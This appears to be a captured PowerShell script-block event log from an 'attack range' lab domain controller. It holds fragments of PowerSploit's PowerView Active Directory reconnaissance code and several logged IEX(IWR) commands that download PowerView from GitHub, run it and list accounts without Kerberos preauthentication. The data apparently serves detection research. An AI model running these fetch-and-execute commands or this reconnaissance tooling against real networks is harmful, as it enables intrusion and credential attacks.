# System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
# so one can't use PowerShell's '-is' operator to validate type.
if($_.GetType().Name -notmatch 'Dictionary') {
Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object'
}
$true
})]
$BoundParameters
)
Begin {
$InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary
function _temp { [CmdletBinding()] Param() }
$CommonParameters = (Get-Command _temp).Parameters.Keys
}
Process {
if($CreateVariables) {
$BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ }
ForEach($Parameter in $BoundKeys) {
if ($Parameter) {
Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force
}
}
}
else {
$StaleKeys = @()
$StaleKeys = $PSBoundParameters.GetEnumerator() |
ForEach-Object {
if($_.Value.PSobject.Methods.Name -match '^Equals$') {
# If object has Equals, compare bound key and variable using it
if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
$_.Key
}
}
else {
# If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
$_.Key
}
}
}
if($StaleKeys) {
$StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
}
# Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters
$UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() |
# Find parameters that are belong to the current parameter set
Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |
Select-Object -ExpandProperty Key |
# Find unbound parameters in the current parameter set
Where-Object { $PSBoundParameters.Keys -notcontains $_ }
# Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
$tmp = $null
ForEach ($Parameter in $UnboundParameters) {
$DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
$PSBoundParameters.$Parameter = $DefaultValue
}
}
if($Dictionary) {
$DPDictionary = $Dictionary
}
else {
$DPDictionary = $InternalDictionary
}
# Shortcut for getting local variables
$GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
# Strings to match attributes and validation arguments
$AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
$ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
$AliasRegex = '^Alias$'
$ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
switch -regex ($PSBoundParameters.Keys) {
$AttributeRegex {
Try {
$ParameterAttribute.$_ = . $GetVar
}
Catch {
$_
}
continue
}
}
if($DPDictionary.Keys -contains $Name) {
$DPDictionary.$Name.Attributes.Add($ParameterAttribute)
}
else {
$AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
switch -regex ($PSBoundParameters.Keys) {
$ValidationRegex {
Try {
$ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
$AttributeCollection.Add($ParameterOptions)
}
Catch { $_ }
continue
}
$AliasRegex {
Try {
$ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
$AttributeCollection.Add($ParameterAlias)
continue
}
Catch { $_ }
}
}
$AttributeCollection.Add($ParameterAttribute)
$Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
$DPDictionary.Add($Name, $Parameter)
}
}
}
End {
if(!$CreateVariables -and !$Dictionary) {
$DPDictionary
}
}
}
function Get-IniContent {
<#
.SYNOPSIS
This helper parses an .ini file into a hashtable.
Author: 'The Scripting Guys'
Modifications: @harmj0y (-Credential support)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
.DESCRIPTION
Parses an .ini file into a hashtable. If -Credential is supplied,
then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file
is parsed, and then the connection is destroyed with Remove-RemoteConnection.
.PARAMETER Path
Specifies the path to the .ini file to parse.
.PARAMETER OutputObject
Switch. Output a custom PSObject instead of a hashtable.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-IniContent C:\Windows\example.ini
.EXAMPLE
"C:\Windows\example.ini" | Get-IniContent -OutputObject
Outputs the .ini details as a proper nested PSObject.
.EXAMPLE
"C:\Windows\example.ini" | Get-IniContent
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred
.INPUTS
String
Accepts one or more .ini paths on the pipeline.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed .ini file.
.LINK
https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName', 'Name')]
[ValidateNotNullOrEmpty()]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$OutputObject
)
BEGIN {
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
if (Test-Path -Path $TargetPath) {
if ($PSBoundParameters['OutputObject']) {
$IniObject = New-Object PSObject
}
else {
$IniObject = @{}
}
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
if ($PSBoundParameters['OutputObject']) {
$Section = $Section.Replace(' ', '')
$SectionObject = New-Object PSObject
$IniObject | Add-Member Noteproperty $Section $SectionObject
}
else {
$IniObject[$Section] = @{}
}
$CommentCount = 0
}
"^(;.*)$" # Comment
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Value
}
else {
$IniObject[$Section][$Name] = $Value
}
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
# if ($Values -isnot [System.Array]) { $Values = @($Values) }
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Values
}
else {
$IniObject[$Section][$Name] = $Values
}
}
}
$IniObject
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Export-PowerViewCSV {
<#
.SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex. This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
.PARAMETER InputObject
Specifies the objects to export as CSV strings.
.PARAMETER Path
Specifies the path to the CSV output file.
.PARAMETER Delimiter
Specifies a delimiter to separate the property values. The default is a comma (,)
.PARAMETER Append
Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
.INPUTS
PSObject
Accepts one or more PSObjects on the pipeline.
.LINK
http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[Char]
$Delimiter = ',',
[Switch]
$Append
)
BEGIN {
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
$Exists = [System.IO.File]::Exists($OutputPath)
# mutex so threaded code doesn't stomp on the output file
$Mutex = New-Object System.Threading.Mutex69859593-9fd6-4276-9750-0d12703f9101
4104152150x0124406Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local11{[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose}c124adea-145e-4e3f-99e5-871d5a8cc289
4104152150x0124404Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local11& {[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose}e810c2ff-be49-4637-9b76-4633a2b6646c
4104132150x0118543Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4848truct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
cb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118541Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4648PtrInfo)
}
else {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {
# if we're searching for domain trusts through .NET methods
$FoundDomain = Get-Domain @NetSearcherArguments
if ($FoundDomain) {
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
$_
}
}
}
}
}
function Get-ForestTrust {
<#
.SYNOPSIS
Return all forest trusts for the current forest or a specified forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
This function will enumerate domain trust relationships for the current (or a remote)
forest using number of method using the .NET method GetAllTrustRelationships() on a
System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
.PARAMETER Forest
Specifies the forest to query for trusts, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestTrust
Return current forest trusts.
.EXAMPLE
Get-ForestTrust -Forest "external.local"
Return trusts for the "external.local" forest.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestTrust -Forest "external.local" -Credential $Cred
Return trusts for the "external.local" forest using the specified alternate credenitals.
.OUTPUTS
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods (default).
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$NetForestArguments = @{}
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
$FoundForest = Get-Forest @NetForestArguments
if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
}
}
function Get-DomainForeignUser {
<#
.SYNOPSIS
Enumerates users who are in groups outside of the user's domain.
This is a domain's "outgoing" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser
.DESCRIPTION
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
then calculates the given user's domain name based on the user's distinguishedName.
This domain name is compared to the queried domain, and the user object is
output if they differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignUser
Return all users in the current domain who are in groups not in the
current domain.
.EXAMPLE
Get-DomainForeignUser -Domain dev.testlab.local
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignUser
Custom PSObject with translated user property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf('DC=')
if ($Index) {
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
$UserDistinguishedName = $_.distinguishedname
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.'
if ($GroupDomain -ne $UserDomain) {
# if the group domain doesn't match the user domain, display it
$GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
$ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
$ForeignUser
}
}
}
}
}
}
function Get-DomainForeignGroupMember {
<#
.SYNOPSIS
Enumerates groups with users outside of the group's domain and returns
each foreign member. This is a domain's "incoming" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainGroup
.DESCRIPTION
Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
then enumerates the members of each group, and compares the member's domain
name to the parent group's domain name, outputting the member if the domains differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignGroupMember
Return all group members in the current domain where the group and member differ.
.EXAMPLE
Get-DomainForeignGroupMember -Domain dev.testlab.local
Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all group members in the dev.testlab.local domain where the member is
not in dev.testlab.local. binding to the secondary.dev.testlab.local for
queries, and using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignGroupMember
Custom PSObject with translated group member property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignGroupMember')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
